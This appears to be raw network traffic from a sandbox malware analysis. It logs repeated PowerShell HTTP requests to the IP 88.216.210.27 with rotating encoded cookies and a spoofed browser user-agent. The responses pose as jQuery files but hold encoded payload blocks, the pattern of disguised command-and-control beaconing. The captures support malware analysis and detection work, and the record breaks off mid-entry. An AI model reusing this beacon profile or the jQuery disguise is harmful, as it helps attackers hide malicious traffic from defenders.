Apr 9, 2023 02:59:02.685173035 CEST	325	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=f65y9SRtErL1Wd30RniclYXS8Z4S6TKv6OHbONCC6_JcmQWFbTX04oekDy_DU5Kal8d3-HyCr8u813WoaQJertlwvhAVE2dL9bQurSP57ZPrsnSuTwjegD3WjBBX3jTfuyjxfjcAGq7NVFYBckK2Luwg8_Otvgkjv7YD2TJ8c0xKmmpY User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:02.835270882 CEST	325	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:02 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:02.835302114 CEST	326	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:02.835324049 CEST	328	IN	Data Raw: 47 4c 4c 43 41 45 45 4a 4a 45 45 4a 4a 48 49 41 4e 46 48 4b 49 48 45 41 46 46 46 49 49 45 41 43 48 45 44 4f 45 4d 4f 50 45 48 4a 46 4d 47 48 4d 4b 44 44 47 41 48 48 41 43 45 49 4a 4b 44 4a 43 41 4d 49 50 47 45 4d 48 42 47 4e 47 48 4e 4c 4d 46 4e Data Ascii: GLLCAEEJJEEJJHIANFHKIHEAFFFIIEACHEDOEMOPEHJFMGHMKDDGAHHACEIJKDJCAMIPGEMHBGNGHNLMFNCABKEALODGIJLPAFHFIAINIKDBJLHHDEBIEJJNEMABEDGJEKLBKFJGAMHNNHJDLONIHGHNBJAMFCAIAAINACHIGBHAELINKDMLEIGFKCFGJOGICBCBHPBMKOCMCKBAJPHCKGMIODGCCOKAIBKNGCJIPNFNJBKGBNH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49742	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:03.103620052 CEST	329	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=oxFB8fjSIbYp5u7wmsevkVltwprOVgGrNF7oPAw92PaAJjaBsYrH5lsbPCsf7KGeS3hE_KA9nM9gaEastb1tqgXPjRTJrFRPKQsdqf9G3pc3DUeqk7fthOFpvxSLYQfbZ5fCeuu_KaoR62UFrv2FKjCfwPdxATonYwkw3e7DQEiWJVlc User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:03.253639936 CEST	329	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:03 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:03.253695965 CEST	330	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:03.253760099 CEST	331	IN	Data Raw: 50 4e 43 4b 4f 44 42 43 4f 4e 42 4a 47 4c 41 4e 47 48 4c 47 50 50 42 42 4c 4c 41 50 50 43 42 4c 41 43 46 41 4f 4c 4e 49 43 45 42 47 42 50 46 44 42 49 45 4a 45 41 50 4e 50 4f 45 4c 46 4a 43 4a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: PNCKODBCONBJGLANGHLGPPBBLLAPPCBLACFAOLNICEBGBPFDBIEJEAPNPOELFJCJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49743	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:03.527687073 CEST	332	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=4x301rjelJFp6lvX2ssathlhd72OWrSMdFJdG0wxbdHAKoOm8YZywRsXiQxf4BS5C3Tx2-AxKeggZPOL9bHYjUXDODOJoOFoaQeojr9Ka7B3AfKN07tYo6FlCjPLbbL8J5t3XauznI1R59Ai7vEwDXCTddAxDY8AIwWF-q7P9W_WKex7 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:03.676240921 CEST	333	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:03 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:03.676285028 CEST	334	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:03.676318884 CEST	335	IN	Data Raw: 48 4f 42 47 4a 4a 45 46 48 43 47 4a 4c 4a 4b 41 47 4e 45 4c 4c 4e 4c 4e 43 42 4d 45 43 48 46 41 4c 44 4f 49 4e 45 48 4d 46 44 4a 4f 4b 4f 41 49 4e 4f 4e 4e 4f 45 4f 49 4b 49 50 45 4c 50 43 43 43 4d 43 4f 4e 41 47 47 4b 50 43 4b 42 41 41 49 44 46 Data Ascii: HOBGJJEFHCGJLJKAGNELLNLNCBMECHFALDOINEHMFDJOKOAINONNOEOIKIPELPCCCMCONAGGKPCKBAAIDFOPAPNAEEPIOEHAFHKPEBDHLMPAJJJOBFEFIHOOKEMLMLHCPLFBIAAPKINAPIBCCHBANPJAEODCKHCEMACDMCOGNCBJFFCGBHHEOJNPKBMMBFALKAJNHEINMNECNMCHMBNNDKDIGNDNDBDHKEEEOLIHFDNNFHOCLFF

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49690	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:41.220232010 CEST	128	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Jjk-bn36XimszpFvH-_QDtxFvQVLfn40sXaXo4kVp2kFDkkeNKK4ed4zQ7SaxN4BzlA7YyUV41DlQDkzMJUSNYDn8otMhCvQrCNiNnpuoQiyJTg1Fp-SG2RBwIsOSXhE4r-95W6XVjWUwxqaK9X6tbW3v2j0KUW45iFPQmvrP9cTDSbD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:41.368990898 CEST	128	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:41 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:41.369014978 CEST	129	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:41.369092941 CEST	130	IN	Data Raw: 47 4b 4e 42 4a 4d 48 4f 42 41 4e 48 45 41 48 46 44 4c 4b 4c 41 43 4a 4a 47 42 4f 45 47 41 41 49 45 41 47 45 45 46 44 44 48 47 4f 45 46 50 4b 42 46 4f 44 4d 50 47 50 4b 41 4b 47 4d 4d 50 42 42 4e 4f 4b 41 44 47 41 44 42 4b 48 41 50 4d 43 4b 47 45 Data Ascii: GKNBJMHOBANHEAHFDLKLACJJGBOEGAAIEAGEEFDDHGOEFPKBFODMPGPKAKGMMPBBNOKADGADBKHAPMCKGEIBGEKGHECHEAMKBPOJINJBHMONJGEEADCPGJHHNEDPFBFNDMGPCKBNNNIBIDGIEDODAPIINBFALJLA/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49744	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:03.952845097 CEST	336	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=icNVz9IANYgDNPrOsBW7r3O_1qTkhBWVHoz8AibvzMiq9CK_m1jT2HHJKBU1PrWgYapQworviPFKulKSn295lC8dmSrjfkBxA9kJl9WUyqkd31OUuWX5usu7qyqhsxPlTUXWRMFtPZQ7OXE7hC-RFBpN1Mlb0y4ZSdsk48QRVHa8901i User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:04.109641075 CEST	337	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:04 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:04.109674931 CEST	338	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:04.109699011 CEST	339	IN	Data Raw: 4e 4f 42 48 4e 43 50 46 49 48 50 41 42 47 49 43 41 41 48 4d 49 4d 46 4f 4a 41 4c 42 46 4a 4c 4b 4a 46 4c 4a 4f 4a 4e 42 42 4b 43 42 46 50 4f 49 46 42 4c 47 4d 4a 41 43 46 4a 49 46 4c 43 41 45 42 4a 50 49 41 43 43 45 46 4c 49 4b 42 4f 42 47 44 4d Data Ascii: NOBHNCPFIHPABGICAAHMIMFOJALBFJLKJFLJOJNBBKCBFPOIFBLGMJACFJIFLCAEBJPIACCEFLIKBOBGDMOGJLHGMEKEELMDFFIANONDFMHLFCPNHBJIIBIPJIMGNIDENLGDFENCKAMPBOBNPIINMILNAMGKFAFPLLCKIPACKADEDNNLJLMNEICDJIPGHDLEALELPIEDFAMHGDDEPFBLCAEBFNIHLGIACNIDHJPAMGOABEAEELC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49745	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:04.399934053 CEST	340	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Xo9HoAVMJ-fUeOihZ1mpwKTzxMszyAf6ycDubfGj3qd9uDDQTBTBt6aFOnricqfPtuZCrV2jmp6d9kD9SCNr-_hRi0U0MlIe1JUb-ALY2MbKk0H7binr1Rz3uUV2_wGKmgnEKxYhL_vsdWNUU2ODe80BxqaMnzx2npc2jBNdRhlru18N User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:04.559020042 CEST	341	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:04 GMT Server: CloudFront Content-Length: 2644 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:04.559057951 CEST	342	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:04.559108019 CEST	343	IN	Data Raw: 44 47 4f 45 48 46 47 4e 4c 43 50 42 4f 49 50 45 50 42 49 49 44 4e 45 44 46 50 49 45 4a 46 45 4b 50 4c 4c 4d 47 46 4f 48 4b 4e 48 50 44 50 44 45 4f 4e 4c 4d 4a 4b 46 4b 49 4a 48 48 4f 42 4b 4d 45 4d 4b 49 43 46 45 4d 43 4e 4e 47 44 43 42 4e 48 42 Data Ascii: DGOEHFGNLCPBOIPEPBIIDNEDFPIEJFEKPLLMGFOHKNHPDPDEONLMJKFKIJHHOBKMEMKICFEMCNNGDCBNHBDAJJJLEOHPAGDEIJJMFIJCEDGLOLBIBCMPHCJDIHJMIOGDEOFEENALMCJFJKICMPMCPBICCNNJEFBOFCOBDPOAJNALLDMFENAIGPINCBPPMKJCOOEKOFFJNKAACPBPJFKPFPOENLFHJOFGBMMABMBJLOCDDDHKECL
Apr 9, 2023 02:59:04.559134007 CEST	343	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: .getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49746	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:04.828244925 CEST	344	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=7GyLA7ev60RmmyQC1bplYxYQCGiBK8tZeyMizkNAEgTPW_xz_vcNFBRm9tlQkWtsBAWODu9AVj0vFYxe-sCnWEqyR-aG0Z69ZnbXW7A7FGV4cI1Y3Mondq4UdebEHM0pKOoIiKTC41helq_34YBP2H_iCgU-fPDVLHT6L6G-irrZWJOu User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:04.976594925 CEST	345	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:04 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:04.976646900 CEST	346	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:04.976669073 CEST	347	IN	Data Raw: 4a 42 4f 4f 42 45 47 4f 4d 46 44 48 49 43 4e 48 45 45 44 49 4d 4e 47 4c 4d 4e 47 4b 42 43 4d 4b 44 4f 4b 50 43 44 45 44 4d 4a 4c 44 4d 48 41 41 44 41 42 4e 41 4e 49 45 4a 47 44 43 43 4a 46 48 46 4b 4c 4b 48 44 4b 4e 42 42 44 44 4d 4e 4e 43 49 43 Data Ascii: JBOOBEGOMFDHICNHEEDIMNGLMNGKBCMKDOKPCDEDMJLDMHAADABNANIEJGDCCJFHFKLKHDKNBBDDMNNCICPFBCMJGNLHKGKLGPAAKMLFGNDAGOHBBGJCBKFKLCKEPAOMFLOLGEBJOCFDNAGJBDLAAILHBBDEOLHAPDEBJBHMFHAOPHJBLONIBNHKEMAENHOMFFLPMPCFPEAOGDKGILACEOGAODCOJKHOAPALEOABNHPHGIDCMJL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49747	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:05.279397011 CEST	348	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=c8quLigJzmn5PQEvShxATom2LUUeje505IUH49zmNylQ_dleYVEoOYvA0_TPN05Bm6OrI3DmcxCws6lzZWaCddUUYssZd7uQ-dDydi-dMUjn1qh1Q2wCWzGyUMtbuugEt0wtpTtkxnXBMIrafiZq9eBELyih2tX4s9LfAj4Yr5dG_raD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:05.429573059 CEST	349	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:05 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:05.429605961 CEST	350	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:05.429630041 CEST	351	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49748	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:06.041218996 CEST	352	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=x33EXpy-pBlNimtf_qsqPj0BRzWqOoQEUDJtk2hRXVnkSrMu1eZCST93uYR7gCQxLxTBU8RRGWAEBMMD0dHoBWGjCLutwNHgTWeYBpsqWzhTYcIF99toK4UFOrvvDYJ0A_tH1Y_TrAV1h-CqypEAhVTzRVgVbb-IB2W1coqvxefySdzz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:06.207545042 CEST	352	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:06 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:06.207580090 CEST	354	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:06.207606077 CEST	355	IN	Data Raw: 50 45 4a 45 4c 4e 45 43 44 41 4a 50 4c 45 42 4b 4f 42 46 4a 4c 42 4f 43 4b 4d 4a 41 4d 43 43 48 48 43 45 4d 44 4c 41 4d 49 4a 4a 47 43 43 46 42 46 4f 45 42 45 4e 45 47 46 48 4d 4f 4a 4f 4f 4a 50 4f 4a 47 4f 45 43 4f 50 4d 49 41 4a 4f 50 45 46 4a Data Ascii: PEJELNECDAJPLEBKOBFJLBOCKMJAMCCHHCEMDLAMIJJGCCFBFOEBENEGFHMOJOOJPOJGOECOPMIAJOPEFJMEFKNNBDBGPOCAMCHADIDCBDCJCGOOJFJEMNNEBJGFHDJNLKNLEJNFFHBHAPPNDCKKJBCLANLENAFAKCNOLKAFANNIGCOCEPGHFMKOBNJPKOEFJKIDNMHPGNIIALIPFHNBAAOBJEDBOGJLIKPCIFHDJKOLBEBPPGE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49749	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:06.597934961 CEST	356	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=QbCGxBpz5oPLRynFeGZopLvMBa8s98ae1v8vCe6cH8Nih_G0UysA07m6-x79TWarqdmDyUKcW_qCyYGZVxyqn-duSiErDZN6y6ranB3nGaLVrICfcRYqsQPIeCFpwMDuhTYFTwke7p_zSqIwTFxCH9I-B8KToP0Sgaj36Axih310hJ5p User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:06.755832911 CEST	356	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:06 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:06.755872011 CEST	358	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:06.755894899 CEST	359	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49750	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
